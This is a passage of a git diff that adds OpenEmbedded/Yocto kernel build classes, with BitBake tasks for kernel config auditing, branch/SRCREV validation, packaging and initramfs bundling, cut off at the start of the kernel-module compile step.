+do_config_analysis[depends] = "virtual/kernel:do_configure"
+do_config_analysis[depends] += "kern-tools-native:do_populate_sysroot"
+
+CONFIG_AUDIT_FILE ?= "${WORKDIR}/config-audit.txt"
+CONFIG_ANALYSIS_FILE ?= "${WORKDIR}/config-analysis.txt"
+
+python do_config_analysis() {
+ import re, string, sys, subprocess
+
+ s = d.getVar('S')
+
+ env = os.environ.copy()
+ env['PATH'] = "%s:%s%s" % (d.getVar('PATH'), s, "/scripts/util/")
+ env['LD'] = d.getVar('KERNEL_LD')
+ env['CC'] = d.getVar('KERNEL_CC')
+ env['OBJCOPY'] = d.getVar('KERNEL_OBJCOPY')
+ env['STRIP'] = d.getVar('KERNEL_STRIP')
+ env['ARCH'] = d.getVar('ARCH')
+ env['srctree'] = s
+
+ # read specific symbols from the kernel recipe or from local.conf
+ # i.e.: CONFIG_ANALYSIS:pn-linux-yocto-dev = 'NF_CONNTRACK LOCALVERSION'
+ config = d.getVar( 'CONFIG_ANALYSIS' )
+ if not config:
+ config = [ "" ]
+ else:
+ config = config.split()
+
+ for c in config:
+ for action in ["analysis","audit"]:
+ if action == "analysis":
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--blame', c], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed when running '%s': %s" % (" ".join(e.cmd), e.output.decode('utf-8')))
+
+ outfile = d.getVar( 'CONFIG_ANALYSIS_FILE' )
+
+ if action == "audit":
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--summary', '--extended', '--sanity', c], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed when running '%s': %s" % (" ".join(e.cmd), e.output.decode('utf-8')))
+
+ outfile = d.getVar( 'CONFIG_AUDIT_FILE' )
+
+ if c:
+ outdir = os.path.dirname( outfile )
+ outname = os.path.basename( outfile )
+ outfile = outdir + '/'+ c + '-' + outname
+
+ if config and os.path.isfile(outfile):
+ os.remove(outfile)
+
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
+
+ bb.warn( "Configuration {} executed, see: {} for details".format(action,outfile ))
+ if c:
+ bb.warn( analysis )
+}
+
+python do_kernel_configcheck() {
+ import re, string, sys, subprocess
+
+ s = d.getVar('S')
+
+ # if KMETA isn't set globally by a recipe using this routine, use kgit to
+ # locate or create the meta directory. Otherwise, kconf_check is not
+ # passed a valid meta-series for processing
+ kmeta = d.getVar("KMETA")
+ if not kmeta or not os.path.exists('{}/{}'.format(s,kmeta)):
+ kmeta = subprocess.check_output(['kgit', '--meta'], cwd=d.getVar('S')).decode('utf-8').rstrip()
+
+ env = os.environ.copy()
+ env['PATH'] = "%s:%s%s" % (d.getVar('PATH'), s, "/scripts/util/")
+ env['LD'] = d.getVar('KERNEL_LD')
+ env['CC'] = d.getVar('KERNEL_CC')
+ env['OBJCOPY'] = d.getVar('KERNEL_OBJCOPY')
+ env['STRIP'] = d.getVar('KERNEL_STRIP')
+ env['ARCH'] = d.getVar('ARCH')
+ env['srctree'] = s
+
+ try:
+ configs = subprocess.check_output(['scc', '--configs', '-o', s + '/.kernel-meta'], env=env).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "Cannot gather config fragments for audit: %s" % e.output.decode("utf-8") )
+
+ config_check_visibility = int(d.getVar("KCONF_AUDIT_LEVEL") or 0)
+ bsp_check_visibility = int(d.getVar("KCONF_BSP_AUDIT_LEVEL") or 0)
+ kmeta_audit_werror = d.getVar("KMETA_AUDIT_WERROR") or ""
+ warnings_detected = False
+
+ # if config check visibility is "1", that's the lowest level of audit. So
+ # we add the --classify option to the run, since classification will
+ # streamline the output to only report options that could be boot issues,
+ # or are otherwise required for proper operation.
+ extra_params = ""
+ if config_check_visibility == 1:
+ extra_params = "--classify"
+
+ # category #1: mismatches
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--mismatches', extra_params], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed when running '%s': %s" % (" ".join(e.cmd), e.output.decode('utf-8')))
+
+ if analysis:
+ outfile = "{}/{}/cfg/mismatch.txt".format( s, kmeta )
+ if os.path.isfile(outfile):
+ os.remove(outfile)
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
+
+ if config_check_visibility and os.stat(outfile).st_size > 0:
+ with open (outfile, "r") as myfile:
+ results = myfile.read()
+ bb.warn( "[kernel config]: specified values did not make it into the kernel's final configuration:\n\n%s" % results)
+ warnings_detected = True
+
+ # category #2: invalid fragment elements
+ extra_params = ""
+ if bsp_check_visibility > 1:
+ extra_params = "--strict"
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--invalid', extra_params], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed when running '%s': %s" % (" ".join(e.cmd), e.output.decode('utf-8')))
+
+ if analysis:
+ outfile = "{}/{}/cfg/invalid.txt".format(s,kmeta)
+ if os.path.isfile(outfile):
+ os.remove(outfile)
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
+
+ if bsp_check_visibility and os.stat(outfile).st_size > 0:
+ with open (outfile, "r") as myfile:
+ results = myfile.read()
+ bb.warn( "[kernel config]: This BSP contains fragments with warnings:\n\n%s" % results)
+ warnings_detected = True
+
+ # category #3: redefined options (this is pretty verbose and is debug only)
+ try:
+ analysis = subprocess.check_output(['symbol_why.py', '--dotconfig', '{}'.format( d.getVar('B') + '/.config' ), '--sanity'], cwd=s, env=env ).decode('utf-8')
+ except subprocess.CalledProcessError as e:
+ bb.fatal( "config analysis failed when running '%s': %s" % (" ".join(e.cmd), e.output.decode('utf-8')))
+
+ if analysis:
+ outfile = "{}/{}/cfg/redefinition.txt".format(s,kmeta)
+ if os.path.isfile(outfile):
+ os.remove(outfile)
+ with open(outfile, 'w+') as f:
+ f.write( analysis )
+
+ # if the audit level is greater than two, we report if a fragment has overriden
+ # a value from a base fragment. This is really only used for new kernel introduction
+ if bsp_check_visibility > 2 and os.stat(outfile).st_size > 0:
+ with open (outfile, "r") as myfile:
+ results = myfile.read()
+ bb.warn( "[kernel config]: This BSP has configuration options defined in more than one config, with differing values:\n\n%s" % results)
+ warnings_detected = True
+
+ if warnings_detected and kmeta_audit_werror:
+ bb.fatal( "configuration warnings detected, werror is set, promoting to fatal" )
+}
+
+# Ensure that the branches (BSP and meta) are on the locations specified by
+# their SRCREV values. If they are NOT on the right commits, the branches
+# are corrected to the proper commit.
+do_validate_branches() {
+ set +e
+ cd ${S}
+
+ machine_branch="${@ get_machine_branch(d, "${KBRANCH}" )}"
+ machine_srcrev="${SRCREV_machine}"
+
+ # if SRCREV is AUTOREV it shows up as AUTOINC there's nothing to
+ # check and we can exit early
+ if [ "${machine_srcrev}" = "AUTOINC" ]; then
+ linux_yocto_dev='${@oe.utils.conditional("PREFERRED_PROVIDER_virtual/kernel", "linux-yocto-dev", "1", "", d)}'
+ if [ -n "$linux_yocto_dev" ]; then
+ git checkout -q -f ${machine_branch}
+ ver=$(grep "^VERSION =" ${S}/Makefile | sed s/.*=\ *//)
+ patchlevel=$(grep "^PATCHLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ sublevel=$(grep "^SUBLEVEL =" ${S}/Makefile | sed s/.*=\ *//)
+ kver="$ver.$patchlevel"
+ bbnote "dev kernel: performing version -> branch -> SRCREV validation"
+ bbnote "dev kernel: recipe version ${LINUX_VERSION}, src version: $kver"
+ echo "${LINUX_VERSION}" | grep -q $kver
+ if [ $? -ne 0 ]; then
+ version="$(echo ${LINUX_VERSION} | sed 's/\+.*$//g')"
+ versioned_branch="v$version/$machine_branch"
+
+ machine_branch=$versioned_branch
+ force_srcrev="$(git rev-parse $machine_branch 2> /dev/null)"
+ if [ $? -ne 0 ]; then
+ bbfatal "kernel version mismatch detected, and no valid branch $machine_branch detected"
+ fi
+
+ bbnote "dev kernel: adjusting branch to $machine_branch, srcrev to: $force_srcrev"
+ fi
+ else
+ bbnote "SRCREV validation is not required for AUTOREV"
+ fi
+ elif [ "${machine_srcrev}" = "" ]; then
+ if [ "${SRCREV}" != "AUTOINC" ] && [ "${SRCREV}" != "INVALID" ]; then
+ # SRCREV_machine_<MACHINE> was not set. This means that a custom recipe
+ # that doesn't use the SRCREV_FORMAT "machine_meta" is being built. In
+ # this case, we need to reset to the give SRCREV before heading to patching
+ bbnote "custom recipe is being built, forcing SRCREV to ${SRCREV}"
+ force_srcrev="${SRCREV}"
+ fi
+ else
+ git cat-file -t ${machine_srcrev} > /dev/null
+ if [ $? -ne 0 ]; then
+ bberror "${machine_srcrev} is not a valid commit ID."
+ bbfatal_log "The kernel source tree may be out of sync"
+ fi
+ force_srcrev=${machine_srcrev}
+ fi
+
+ git checkout -q -f ${machine_branch}
+ if [ -n "${force_srcrev}" ]; then
+ # see if the branch we are about to patch has been properly reset to the defined
+ # SRCREV .. if not, we reset it.
+ branch_head=`git rev-parse HEAD`
+ if [ "${force_srcrev}" != "${branch_head}" ]; then
+ current_branch=`git rev-parse --abbrev-ref HEAD`
+ git branch "$current_branch-orig"
+ git reset --hard ${force_srcrev}
+ # We've checked out HEAD, make sure we cleanup kgit-s2q fence post check
+ # so the patches are applied as expected otherwise no patching
+ # would be done in some corner cases.
+ kgit-s2q --clean
+ fi
+ fi
+
+ set -e
+}
+
+OE_TERMINAL_EXPORTS += "KBUILD_OUTPUT"
+KBUILD_OUTPUT = "${B}"
+
+python () {
+ # If diffconfig is available, ensure it runs after kernel_configme
+ if 'do_diffconfig' in d:
+ bb.build.addtask('do_diffconfig', None, 'do_kernel_configme', d)
+
+ externalsrc = d.getVar('EXTERNALSRC')
+ if externalsrc:
+ # If we deltask do_patch, do_kernel_configme is left without
+ # dependencies and runs too early
+ d.setVarFlag('do_kernel_configme', 'deps', (d.getVarFlag('do_kernel_configme', 'deps', False) or []) + ['do_unpack'])
+}
+
+# extra tasks
+addtask kernel_version_sanity_check after do_kernel_metadata do_kernel_checkout before do_compile
+addtask validate_branches before do_patch after do_kernel_checkout
+addtask kernel_configcheck after do_configure before do_compile
diff --git a/meta/classes-recipe/kernel.bbclass b/meta/classes-recipe/kernel.bbclass
new file mode 100644
index 0000000000..b084d6d69d
--- /dev/null
+++ b/meta/classes-recipe/kernel.bbclass
@@ -0,0 +1,875 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit linux-kernel-base kernel-module-split
+
+COMPATIBLE_HOST = ".*-linux"
+
+KERNEL_PACKAGE_NAME ??= "kernel"
+KERNEL_DEPLOYSUBDIR ??= "${@ "" if (d.getVar("KERNEL_PACKAGE_NAME") == "kernel") else d.getVar("KERNEL_PACKAGE_NAME") }"
+
+PROVIDES += "virtual/kernel"
+DEPENDS += "virtual/${TARGET_PREFIX}binutils virtual/${TARGET_PREFIX}gcc kmod-native bc-native bison-native"
+DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lzo", "lzop-native", "", d)}"
+DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.lz4", "lz4-native", "", d)}"
+DEPENDS += "${@bb.utils.contains("INITRAMFS_FSTYPES", "cpio.zst", "zstd-native", "", d)}"
+PACKAGE_WRITE_DEPS += "depmodwrapper-cross"
+
+do_deploy[depends] += "depmodwrapper-cross:do_populate_sysroot gzip-native:do_populate_sysroot"
+do_clean[depends] += "make-mod-scripts:do_clean"
+
+CVE_PRODUCT ?= "linux_kernel"
+
+S = "${STAGING_KERNEL_DIR}"
+B = "${WORKDIR}/build"
+KBUILD_OUTPUT = "${B}"
+OE_TERMINAL_EXPORTS += "KBUILD_OUTPUT"
+
+# we include gcc above, we dont need virtual/libc
+INHIBIT_DEFAULT_DEPS = "1"
+
+KERNEL_IMAGETYPE ?= "zImage"
+INITRAMFS_IMAGE ?= ""
+INITRAMFS_TASK ?= ""
+INITRAMFS_IMAGE_BUNDLE ?= ""
+INITRAMFS_DEPLOY_DIR_IMAGE ?= "${DEPLOY_DIR_IMAGE}"
+INITRAMFS_MULTICONFIG ?= ""
+
+# KERNEL_VERSION is extracted from source code. It is evaluated as
+# None for the first parsing, since the code has not been fetched.
+# After the code is fetched, it will be evaluated as real version
+# number and cause kernel to be rebuilt. To avoid this, make
+# KERNEL_VERSION_NAME and KERNEL_VERSION_PKG_NAME depend on
+# LINUX_VERSION which is a constant.
+KERNEL_VERSION_NAME = "${@d.getVar('KERNEL_VERSION') or ""}"
+KERNEL_VERSION_NAME[vardepvalue] = "${LINUX_VERSION}"
+KERNEL_VERSION_PKG_NAME = "${@legitimize_package_name(d.getVar('KERNEL_VERSION'))}"
+KERNEL_VERSION_PKG_NAME[vardepvalue] = "${LINUX_VERSION}"
+
+python __anonymous () {
+ pn = d.getVar("PN")
+ kpn = d.getVar("KERNEL_PACKAGE_NAME")
+
+ # XXX Remove this after bug 11905 is resolved
+ # FILES:${KERNEL_PACKAGE_NAME}-dev doesn't expand correctly
+ if kpn == pn:
+ bb.warn("Some packages (E.g. *-dev) might be missing due to "
+ "bug 11905 (variable KERNEL_PACKAGE_NAME == PN)")
+
+ # The default kernel recipe builds in a shared location defined by
+ # bitbake/distro confs: STAGING_KERNEL_DIR and STAGING_KERNEL_BUILDDIR.
+ # Set these variables to directories under ${WORKDIR} in alternate
+ # kernel recipes (I.e. where KERNEL_PACKAGE_NAME != kernel) so that they
+ # may build in parallel with the default kernel without clobbering.
+ if kpn != "kernel":
+ workdir = d.getVar("WORKDIR")
+ sourceDir = os.path.join(workdir, 'kernel-source')
+ artifactsDir = os.path.join(workdir, 'kernel-build-artifacts')
+ d.setVar("STAGING_KERNEL_DIR", sourceDir)
+ d.setVar("STAGING_KERNEL_BUILDDIR", artifactsDir)
+
+ # Merge KERNEL_IMAGETYPE and KERNEL_ALT_IMAGETYPE into KERNEL_IMAGETYPES
+ type = d.getVar('KERNEL_IMAGETYPE') or ""
+ alttype = d.getVar('KERNEL_ALT_IMAGETYPE') or ""
+ types = d.getVar('KERNEL_IMAGETYPES') or ""
+ if type not in types.split():
+ types = (type + ' ' + types).strip()
+ if alttype not in types.split():
+ types = (alttype + ' ' + types).strip()
+ d.setVar('KERNEL_IMAGETYPES', types)
+
+ # KERNEL_IMAGETYPES may contain a mixture of image types supported directly
+ # by the kernel build system and types which are created by post-processing
+ # the output of the kernel build system (e.g. compressing vmlinux ->
+ # vmlinux.gz in kernel_do_transform_kernel()).
+ # KERNEL_IMAGETYPE_FOR_MAKE should contain only image types supported
+ # directly by the kernel build system.
+ if not d.getVar('KERNEL_IMAGETYPE_FOR_MAKE'):
+ typeformake = set()
+ for type in types.split():
+ if type == 'vmlinux.gz':
+ type = 'vmlinux'
+ typeformake.add(type)
+
+ d.setVar('KERNEL_IMAGETYPE_FOR_MAKE', ' '.join(sorted(typeformake)))
+
+ kname = d.getVar('KERNEL_PACKAGE_NAME') or "kernel"
+ imagedest = d.getVar('KERNEL_IMAGEDEST')
+
+ for type in types.split():
+ if bb.data.inherits_class('nopackages', d):
+ continue
+ typelower = type.lower()
+ d.appendVar('PACKAGES', ' %s-image-%s' % (kname, typelower))
+ d.setVar('FILES:' + kname + '-image-' + typelower, '/' + imagedest + '/' + type + '-${KERNEL_VERSION_NAME}' + ' /' + imagedest + '/' + type)
+ d.appendVar('RDEPENDS:%s-image' % kname, ' %s-image-%s (= ${EXTENDPKGV})' % (kname, typelower))
+ splitmods = d.getVar("KERNEL_SPLIT_MODULES")
+ if splitmods != '1':
+ d.appendVar('RDEPENDS:%s-image' % kname, ' %s-modules (= ${EXTENDPKGV})' % kname)
+ d.appendVar('RDEPENDS:%s-image-%s' % (kname, typelower), ' %s-modules-${KERNEL_VERSION_PKG_NAME} (= ${EXTENDPKGV})' % kname)
+ d.setVar('PKG:%s-modules' % kname, '%s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
+ d.appendVar('RPROVIDES:%s-modules' % kname, ' %s-modules-${KERNEL_VERSION_PKG_NAME}' % kname)
+
+ d.setVar('PKG:%s-image-%s' % (kname,typelower), '%s-image-%s-${KERNEL_VERSION_PKG_NAME}' % (kname, typelower))
+ d.setVar('ALLOW_EMPTY:%s-image-%s' % (kname, typelower), '1')
+ d.prependVar('pkg_postinst:%s-image-%s' % (kname,typelower), """set +e
+if [ -n "$D" ]; then
+ ln -sf %s-${KERNEL_VERSION} $D/${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
+else
+ ln -sf %s-${KERNEL_VERSION} ${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
+ if [ $? -ne 0 ]; then
+ echo "Filesystem on ${KERNEL_IMAGEDEST}/ doesn't support symlinks, falling back to copied image (%s)."
+ install -m 0644 ${KERNEL_IMAGEDEST}/%s-${KERNEL_VERSION} ${KERNEL_IMAGEDEST}/%s
+ fi
+fi
+set -e
+""" % (type, type, type, type, type, type, type))
+ d.setVar('pkg_postrm:%s-image-%s' % (kname,typelower), """set +e
+if [ -f "${KERNEL_IMAGEDEST}/%s" -o -L "${KERNEL_IMAGEDEST}/%s" ]; then
+ rm -f ${KERNEL_IMAGEDEST}/%s > /dev/null 2>&1
+fi
+set -e
+""" % (type, type, type))
+
+
+ image = d.getVar('INITRAMFS_IMAGE')
+ # If the INTIRAMFS_IMAGE is set but the INITRAMFS_IMAGE_BUNDLE is set to 0,
+ # the do_bundle_initramfs does nothing, but the INITRAMFS_IMAGE is built
+ # standalone for use by wic and other tools.
+ if image:
+ if d.getVar('INITRAMFS_MULTICONFIG'):
+ d.appendVarFlag('do_bundle_initramfs', 'mcdepends', ' mc::${INITRAMFS_MULTICONFIG}:${INITRAMFS_IMAGE}:do_image_complete')
+ else:
+ d.appendVarFlag('do_bundle_initramfs', 'depends', ' ${INITRAMFS_IMAGE}:do_image_complete')
+ if image and bb.utils.to_boolean(d.getVar('INITRAMFS_IMAGE_BUNDLE')):
+ bb.build.addtask('do_transform_bundled_initramfs', 'do_deploy', 'do_bundle_initramfs', d)
+
+ # NOTE: setting INITRAMFS_TASK is for backward compatibility
+ # The preferred method is to set INITRAMFS_IMAGE, because
+ # this INITRAMFS_TASK has circular dependency problems
+ # if the initramfs requires kernel modules
+ image_task = d.getVar('INITRAMFS_TASK')
+ if image_task:
+ d.appendVarFlag('do_configure', 'depends', ' ${INITRAMFS_TASK}')
+}
+
+# Here we pull in all various kernel image types which we support.
+#
+# In case you're wondering why kernel.bbclass inherits the other image
+# types instead of the other way around, the reason for that is to
+# maintain compatibility with various currently existing meta-layers.
+# By pulling in the various kernel image types here, we retain the
+# original behavior of kernel.bbclass, so no meta-layers should get
+# broken.
+#
+# KERNEL_CLASSES by default pulls in kernel-uimage.bbclass, since this
+# used to be the default behavior when only uImage was supported. This
+# variable can be appended by users who implement support for new kernel
+# image types.
+
+KERNEL_CLASSES ?= " kernel-uimage "
+inherit_defer ${KERNEL_CLASSES}
+
+# Old style kernels may set ${S} = ${WORKDIR}/git for example
+# We need to move these over to STAGING_KERNEL_DIR. We can't just
+# create the symlink in advance as the git fetcher can't cope with
+# the symlink.
+do_unpack[cleandirs] += " ${S} ${STAGING_KERNEL_DIR} ${B} ${STAGING_KERNEL_BUILDDIR}"
+do_clean[cleandirs] += " ${S} ${STAGING_KERNEL_DIR} ${B} ${STAGING_KERNEL_BUILDDIR}"
+python do_symlink_kernsrc () {
+ s = d.getVar("S")
+ kernsrc = d.getVar("STAGING_KERNEL_DIR")
+ if s != kernsrc:
+ bb.utils.mkdirhier(kernsrc)
+ bb.utils.remove(kernsrc, recurse=True)
+ if s[-1] == '/':
+ # drop trailing slash, so that os.symlink(kernsrc, s) doesn't use s as
+ # directory name and fail
+ s = s[:-1]
+ if d.getVar("EXTERNALSRC"):
+ # With EXTERNALSRC S will not be wiped so we can symlink to it
+ os.symlink(s, kernsrc)
+ else:
+ import shutil
+ shutil.move(s, kernsrc)
+ os.symlink(kernsrc, s)
+}
+# do_patch is normally ordered before do_configure, but
+# externalsrc.bbclass deletes do_patch, breaking the dependency of
+# do_configure on do_symlink_kernsrc.
+addtask symlink_kernsrc before do_patch do_configure after do_unpack
+
+inherit kernel-arch deploy
+
+PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-module-.*"
+PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-image-.*"
+PACKAGES_DYNAMIC += "^${KERNEL_PACKAGE_NAME}-firmware-.*"
+
+export OS = "${TARGET_OS}"
+export CROSS_COMPILE = "${TARGET_PREFIX}"
+
+KERNEL_RELEASE ?= "${KERNEL_VERSION}"
+
+# The directory where built kernel lies in the kernel tree
+KERNEL_OUTPUT_DIR ?= "arch/${ARCH}/boot"
+KERNEL_IMAGEDEST ?= "boot"
+KERNEL_DTBDEST ?= "${KERNEL_IMAGEDEST}"
+KERNEL_DTBVENDORED ?= "0"
+
+#
+# configuration
+#
+export CMDLINE_CONSOLE = "console=${@d.getVar("KERNEL_CONSOLE") or "ttyS0"}"
+
+KERNEL_VERSION = "${@get_kernelversion_headers('${B}')}"
+
+# kernels are generally machine specific
+PACKAGE_ARCH = "${MACHINE_ARCH}"
+
+# U-Boot support
+UBOOT_ENTRYPOINT ?= "20008000"
+UBOOT_LOADADDRESS ?= "${UBOOT_ENTRYPOINT}"
+
+# Some Linux kernel configurations need additional parameters on the command line
+KERNEL_EXTRA_ARGS ?= ""
+
+EXTRA_OEMAKE += ' CC="${KERNEL_CC}" LD="${KERNEL_LD}" OBJCOPY="${KERNEL_OBJCOPY}" STRIP="${KERNEL_STRIP}"'
+EXTRA_OEMAKE += ' HOSTCC="${BUILD_CC}" HOSTCFLAGS="${BUILD_CFLAGS}" HOSTLDFLAGS="${BUILD_LDFLAGS}" HOSTCPP="${BUILD_CPP}"'
+EXTRA_OEMAKE += ' HOSTCXX="${BUILD_CXX}" HOSTCXXFLAGS="${BUILD_CXXFLAGS}"'
+# Only for newer kernels (5.19+), native pkg-config variables are set for older kernels when building kernel and modules
+EXTRA_OEMAKE += ' HOSTPKG_CONFIG="pkg-config-native"'
+
+KERNEL_ALT_IMAGETYPE ??= ""
+
+copy_initramfs() {
+ echo "Copying initramfs into ./usr ..."
+ # In case the directory is not created yet from the first pass compile:
+ mkdir -p ${B}/usr
+ # Find and use the first initramfs image archive type we find
+ rm -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
+ for img in cpio cpio.gz cpio.lz4 cpio.lzo cpio.lzma cpio.xz cpio.zst; do
+ if [ -e "${INITRAMFS_DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img" ]; then
+ cp ${INITRAMFS_DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/.
+ case $img in
+ *gz)
+ echo "gzip decompressing image"
+ gunzip -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ break
+ ;;
+ *lz4)
+ echo "lz4 decompressing image"
+ lz4 -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
+ break
+ ;;
+ *lzo)
+ echo "lzo decompressing image"
+ lzop -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ break
+ ;;
+ *lzma)
+ echo "lzma decompressing image"
+ lzma -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ break
+ ;;
+ *xz)
+ echo "xz decompressing image"
+ xz -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ break
+ ;;
+ *zst)
+ echo "zst decompressing image"
+ zstd -df ${B}/usr/${INITRAMFS_IMAGE_NAME}.$img
+ break
+ ;;
+ esac
+ break
+ fi
+ done
+ # Verify that the above loop found a initramfs, fail otherwise
+ [ -f ${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio ] && echo "Finished copy of initramfs into ./usr" || die "Could not find any ${INITRAMFS_DEPLOY_DIR_IMAGE}/${INITRAMFS_IMAGE_NAME}.cpio{.gz|.lz4|.lzo|.lzma|.xz|.zst) for bundling; INITRAMFS_IMAGE_NAME might be wrong."
+}
+
+do_bundle_initramfs () {
+ if [ ! -z "${INITRAMFS_IMAGE}" -a x"${INITRAMFS_IMAGE_BUNDLE}" = x1 ]; then
+ echo "Creating a kernel image with a bundled initramfs..."
+ copy_initramfs
+ # Backing up kernel image relies on its type(regular file or symbolic link)
+ tmp_path=""
+ for imageType in ${KERNEL_IMAGETYPE_FOR_MAKE} ; do
+ if [ -h ${KERNEL_OUTPUT_DIR}/$imageType ] ; then
+ linkpath=`readlink -n ${KERNEL_OUTPUT_DIR}/$imageType`
+ realpath=`readlink -fn ${KERNEL_OUTPUT_DIR}/$imageType`
+ mv -f $realpath $realpath.bak
+ tmp_path=$tmp_path" "$imageType"#"$linkpath"#"$realpath
+ elif [ -f ${KERNEL_OUTPUT_DIR}/$imageType ]; then
+ mv -f ${KERNEL_OUTPUT_DIR}/$imageType ${KERNEL_OUTPUT_DIR}/$imageType.bak
+ tmp_path=$tmp_path" "$imageType"##"
+ fi
+ done
+ use_alternate_initrd=CONFIG_INITRAMFS_SOURCE=${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
+ kernel_do_compile
+ # Restoring kernel image
+ for tp in $tmp_path ; do
+ imageType=`echo $tp|cut -d "#" -f 1`
+ linkpath=`echo $tp|cut -d "#" -f 2`
+ realpath=`echo $tp|cut -d "#" -f 3`
+ if [ -n "$realpath" ]; then
+ mv -f $realpath $realpath.initramfs
+ mv -f $realpath.bak $realpath
+ ln -sf $linkpath.initramfs ${B}/${KERNEL_OUTPUT_DIR}/$imageType.initramfs
+ else
+ mv -f ${KERNEL_OUTPUT_DIR}/$imageType ${KERNEL_OUTPUT_DIR}/$imageType.initramfs
+ mv -f ${KERNEL_OUTPUT_DIR}/$imageType.bak ${KERNEL_OUTPUT_DIR}/$imageType
+ fi
+ done
+ fi
+}
+do_bundle_initramfs[dirs] = "${B}"
+
+kernel_do_transform_bundled_initramfs() {
+ # vmlinux.gz is not built by kernel
+ if (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux\.gz"); then
+ gzip -9cn < ${KERNEL_OUTPUT_DIR}/vmlinux.initramfs > ${KERNEL_OUTPUT_DIR}/vmlinux.gz.initramfs
+ fi
+}
+do_transform_bundled_initramfs[dirs] = "${B}"
+
+python do_package:prepend () {
+ d.setVar('STRIP', d.getVar('KERNEL_STRIP').strip())
+}
+
+python do_devshell:prepend () {
+ os.environ["LDFLAGS"] = ''
+}
+
+addtask bundle_initramfs after do_install before do_deploy
+
+KERNEL_DEBUG_TIMESTAMPS ??= "0"
+
+kernel_do_compile() {
+ unset CFLAGS CPPFLAGS CXXFLAGS LDFLAGS MACHINE
+
+ # setup native pkg-config variables (kconfig scripts call pkg-config directly, cannot generically be overriden to pkg-config-native)
+ export PKG_CONFIG_DIR="${STAGING_DIR_NATIVE}${libdir_native}/pkgconfig"
+ export PKG_CONFIG_PATH="$PKG_CONFIG_DIR:${STAGING_DATADIR_NATIVE}/pkgconfig"
+ export PKG_CONFIG_LIBDIR="$PKG_CONFIG_DIR"
+ export PKG_CONFIG_SYSROOT_DIR=""
+
+ if [ "${KERNEL_DEBUG_TIMESTAMPS}" != "1" ]; then
+ # kernel sources do not use do_unpack, so SOURCE_DATE_EPOCH may not
+ # be set....
+ if [ "${SOURCE_DATE_EPOCH}" = "" -o "${SOURCE_DATE_EPOCH}" = "0" ]; then
+ # The source directory is not necessarily a git repository, so we
+ # specify the git-dir to ensure that git does not query a
+ # repository in any parent directory.
+ SOURCE_DATE_EPOCH=`git --git-dir="${S}/.git" log -1 --pretty=%ct 2>/dev/null || echo "${REPRODUCIBLE_TIMESTAMP_ROOTFS}"`
+ fi
+
+ ts=`LC_ALL=C date -d @$SOURCE_DATE_EPOCH`
+ export KBUILD_BUILD_TIMESTAMP="$ts"
+ export KCONFIG_NOTIMESTAMP=1
+ bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
+ else
+ ts=`LC_ALL=C date`
+ export KBUILD_BUILD_TIMESTAMP="$ts"
+ bbnote "KBUILD_BUILD_TIMESTAMP: $ts"
+ fi
+ # The $use_alternate_initrd is only set from
+ # do_bundle_initramfs() This variable is specifically for the
+ # case where we are making a second pass at the kernel
+ # compilation and we want to force the kernel build to use a
+ # different initramfs image. The way to do that in the kernel
+ # is to specify:
+ # make ...args... CONFIG_INITRAMFS_SOURCE=some_other_initramfs.cpio
+ if [ "$use_alternate_initrd" = "" ] && [ "${INITRAMFS_TASK}" != "" ] ; then
+ # The old style way of copying an prebuilt image and building it
+ # is turned on via INTIRAMFS_TASK != ""
+ copy_initramfs
+ use_alternate_initrd=CONFIG_INITRAMFS_SOURCE=${B}/usr/${INITRAMFS_IMAGE_NAME}.cpio
+ fi
+ for typeformake in ${KERNEL_IMAGETYPE_FOR_MAKE} ; do
+ oe_runmake ${PARALLEL_MAKE} ${typeformake} ${KERNEL_EXTRA_ARGS} $use_alternate_initrd
+ done
+}
+
+kernel_do_transform_kernel() {
+ # vmlinux.gz is not built by kernel
+ if (echo "${KERNEL_IMAGETYPES}" | grep -wq "vmlinux\.gz"); then
+ mkdir -p "${KERNEL_OUTPUT_DIR}"
+ gzip -9cn < ${B}/vmlinux > "${KERNEL_OUTPUT_DIR}/vmlinux.gz"
+ fi
+}
+do_transform_kernel[dirs] = "${B}"
+addtask transform_kernel after do_compile before do_install
+
+do_compile_kernelmodules() {
